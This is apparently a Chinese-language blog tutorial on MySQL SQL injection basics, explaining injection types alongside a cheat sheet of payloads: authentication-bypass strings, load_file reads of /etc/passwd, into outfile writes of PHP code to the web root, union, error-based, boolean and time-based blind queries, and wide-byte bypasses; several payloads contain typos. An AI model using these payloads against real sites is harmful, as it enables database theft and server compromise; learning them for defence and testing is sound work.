sql注入基础知识的介绍

38次阅读
没有评论

共计 5115 个字符,预计需要花费 13 分钟才能阅读完成。

自动写代码机器人,免费开通

本篇内容介绍了“sql 注入基础知识的介绍”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让丸趣 TV 小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

什么是 SQL 注入(SQL Injection)

所谓 SQL 注入式攻击,就是攻击者把 SQL 命令插入到 Web 表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的 SQL 命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态 SQL 命令,或作为存储过程的输入参数,这类表单特别容易受到 SQL 注入式攻击。

mysql 常用注释

  #

  –[空格] 或者是 –+

  /*…*/

在注意过程中,这些注释可能都需要进行 urlencode。

mysql 认证绕过

  ;%00

 ‘or 1=1 #

 ‘/*!or */ 1=1 –+

mysql 连接符

mysql 中使用 + 来进行连接。

select * from users where username= zhangsan  and  ab = a + b

mysql 中常见函数

在进行 sql 注入过程中,会使用到 mysql 中的内置函数。在内置函数中,又分为获取信息的函数和功能函数。

信息函数是用来获取 mysql 中的数据库的信息,功能函数就是传统的函数用来完成某项操作。

常用的信息函数有:

  database(),用于获取当前所使用的数据库信息

 version(): 返回数据库的版本, 等价于 @@version

  user():返回当前的用户,等价如 current_user 参数。如:

select user(); #root@localhost
select current_user; #root@localhost

@@datadir,获取数据库的存储位置。

select @@datadir; #D:\xampp\mysql\data\

常见的功能函数有:

load_file(): 从计算机中载入文件, 读取文件中的数据。

select * from users union select 1,load_file(/etc/passwd),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; # 使用 16 进制绕过单引号限制 

into outfile:写入文件,前提是具有写入权限

select  ?php phpinfo(); ?  into outfile  /var/www/html/xxx.php 
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile  /var/www/html/xxx.php

concat(): 返回结果为连接参数产生的字符串。如果其中一个参数为 null,则返回值为 null。

用法如下:

select concat(username,password)from users;

*concat_ws() : 是 concat_ws() 的特殊形式,第一个参数是分隔符,剩下的参数就是字段名。

select concat_ws(, ,username,password) from users;

group_concat() : 用于合并多条记录中的结果。

用法如下:

select group_concat(username) from users;
#返回的就是 users 表中所有的用户名,并且是作为一条记录返回。

subtring() ,substr(): 用于截断字符串。用法为:substr(str,pos,length),注意 pos 是从 1 开始的。

select substr((select database()),1,1);

ascii(): 用法返回字符所对应的 ascii 值。

select ascii(a  #97

length(): 返回字符串的长度。

如:

select length(123456) # 返回 6 

is(exp1,exp2,exp2): 如果 exp1 的表达式是 True,则返回 exp2;否则返回 exp3。

如:

select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1

以上就是在进行 sql 注入工程中常用的函数。当然还存在一些使用的不是很多的函数。

  now(): 返回当前的系统时间

  hex(): 返回字符串的 16 进制

  unhex(): 反向的 hex() 的 16 进制

  @@basedir(): 反向 mysql 的安装目录

  @@versin_compile_os: 操作系统

mysql 数据库元信息

在 mysql 中存在 information_schema 是一个信息数据库,在这个数据库中保存了 Mysql 服务器所保存的所有的其他数据库的信息,如数据库名,数据库的表,表的字段名称

和访问权限。在 informa_schema 中常用的表有:

  schemata: 存储了 mysql 中所有的数据库信息,返回的内容与 show databases 的结果是一样的。

  tables: 存储了数据库中的表的信息。详细地描述了某个表属于哪个 schema,表类型,表引擎。

  show tables from secuiry 的结果就是来自这个表

  columns: 详细地描述了某张表的所有的列以及每个列的信息。

  show columns from users 的结果就是来自这个表

下面就是利用以上的 3 个表来获取数据库的信息。

select database(); # 查选数据库
select schema_name from information_schema.schemata limit 0,1 # 查询数据库
select table_name from information_schema.tables where table_schema=database() limit 0,1; # 查询表
select column_name from information_schema.columns where table_name= users  limit 0,1; # 查询列 

sql 注入类型

sql 注入类型大致可以分为常规的 sql 注入和 sql 盲注。sql 盲注又可以分为基于时间的盲注和基于网页内容的盲注。
关于 sql 的盲注,网上也有很多的说明,这里也不做过多的解释。关于盲注的概念,有具体的例子就方便进行说明。
延时注入中,常用的函数就包括了 if() 和 sleep() 函数。

基本的 sql 表达式如下:

select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)= r ,sleep(3),1);

宽字节注入

关于宽字节注入,可以参考宽字节注入详解。宽字节输入一般是由于网页编码与数据库的编码不匹配造成的。对于宽字节注入,使用 %d5 或 %df 绕过

mysql 常用语句总结

常规注入

1  order by num #  确定字段长度
1  union select 1,2,3 #  确定字段长度
-1  union select 1,2,3 #  判断页面中显示的字段
-1  union select 1,2,group_concat(schema_name) from information_schema.schemata # 显示 mysql 中所有的数据库
-1  union select 1,2 group_concat(table_name) from information_schema.tables where table_schame =  dbname /database()/hex(dbname) #
-1  union select 1,2,column_name from information_schema.columns where table_name= table_name  limit 0,1 #
-1  union select 1,2,group_concat(column_name) from information_schema.columns where table_name= table_name /hex(table_name) limit 0,1 #
-1  union select 1,2,3 AND  1 = 1  在注释符无法使用的情况下 

双重 SQL 查选

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; # 这种 sql 语句的写法,常用于 sql 的盲注。得到数据库的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; # 得到数据库的表的信息
 
#利用姿势如下:1  AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

这种利用姿势是通过 mysql 执行 sql 命令时的报错信息来得到所需要的信息的,在接下来的文章中会对这种写法进行详细地分析。

bool 盲注

1  and ascii(substr(select database(),1,1)) 99
1  and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1)) 90

bool 盲注就是根据 sql 语句执行返回值是 True 或 False 对应的页面内容会发生,来得到信息。

time 盲注

1  AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)= e ,sleep(10),null) +
1  AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)= e ,sleep(10),null) --+

上述的 2 种写法都是等价的,time 盲注余常规的 sql 注入方法不同。time 盲注需要一般需要使用到 if() 和 sleep() 函数。然后根据页面返回内容的长度,进而知道 sleep() 函数是否有执行。

根据 sleep() 函数是否执行来得到所需的信息。

“sql 注入基础知识的介绍”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注丸趣 TV 网站,丸趣 TV 小编将为大家输出更多高质量的实用文章!

向 AI 问一下细节

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-12-04发表,共计5115字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)